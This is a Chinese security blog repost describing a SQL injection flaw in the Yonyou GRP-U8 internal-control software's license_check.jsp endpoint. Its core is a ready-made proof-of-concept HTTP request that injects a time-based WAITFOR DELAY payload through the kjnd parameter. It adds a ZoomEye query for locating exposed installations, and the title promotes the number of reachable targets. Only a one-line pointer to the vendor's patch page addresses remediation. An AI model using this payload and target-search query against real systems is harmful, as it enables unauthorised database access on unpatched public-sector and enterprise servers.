【资产较多、附poc】用友GRP-U8 license_check.jsp SQL注入

admin 2024年1月7日17:15:43评论27 views字数 416阅读1分23秒阅读模式

漏洞详情

01

用友GRP-U8R10行政事业内控管理软件 license_checkjsp接口处存在SQL注入漏洞

界面截图

02

【资产较多、附poc】用友GRP-U8 license_check.jsp SQL注入

漏洞复现

03

payload

GET /u8qx/license_check.jsp?kjnd=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36Connection: close
回显

【资产较多、附poc】用友GRP-U8 license_check.jsp SQL注入

zoomeye语法

04

app:"用友GRP-U8"

【资产较多、附poc】用友GRP-U8 license_check.jsp SQL注入

修复建议

05

前往用友官方获取补丁https://security.yonyou.com/

原文始发于微信公众号(棉花糖网络安全圈):【资产较多、附poc】用友GRP-U8 license_check.jsp SQL注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月7日17:15:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【资产较多、附poc】用友GRP-U8 license_check.jsp SQL注入https://cn-sec.com/archives/2372689.html

发表评论

匿名网友 填写信息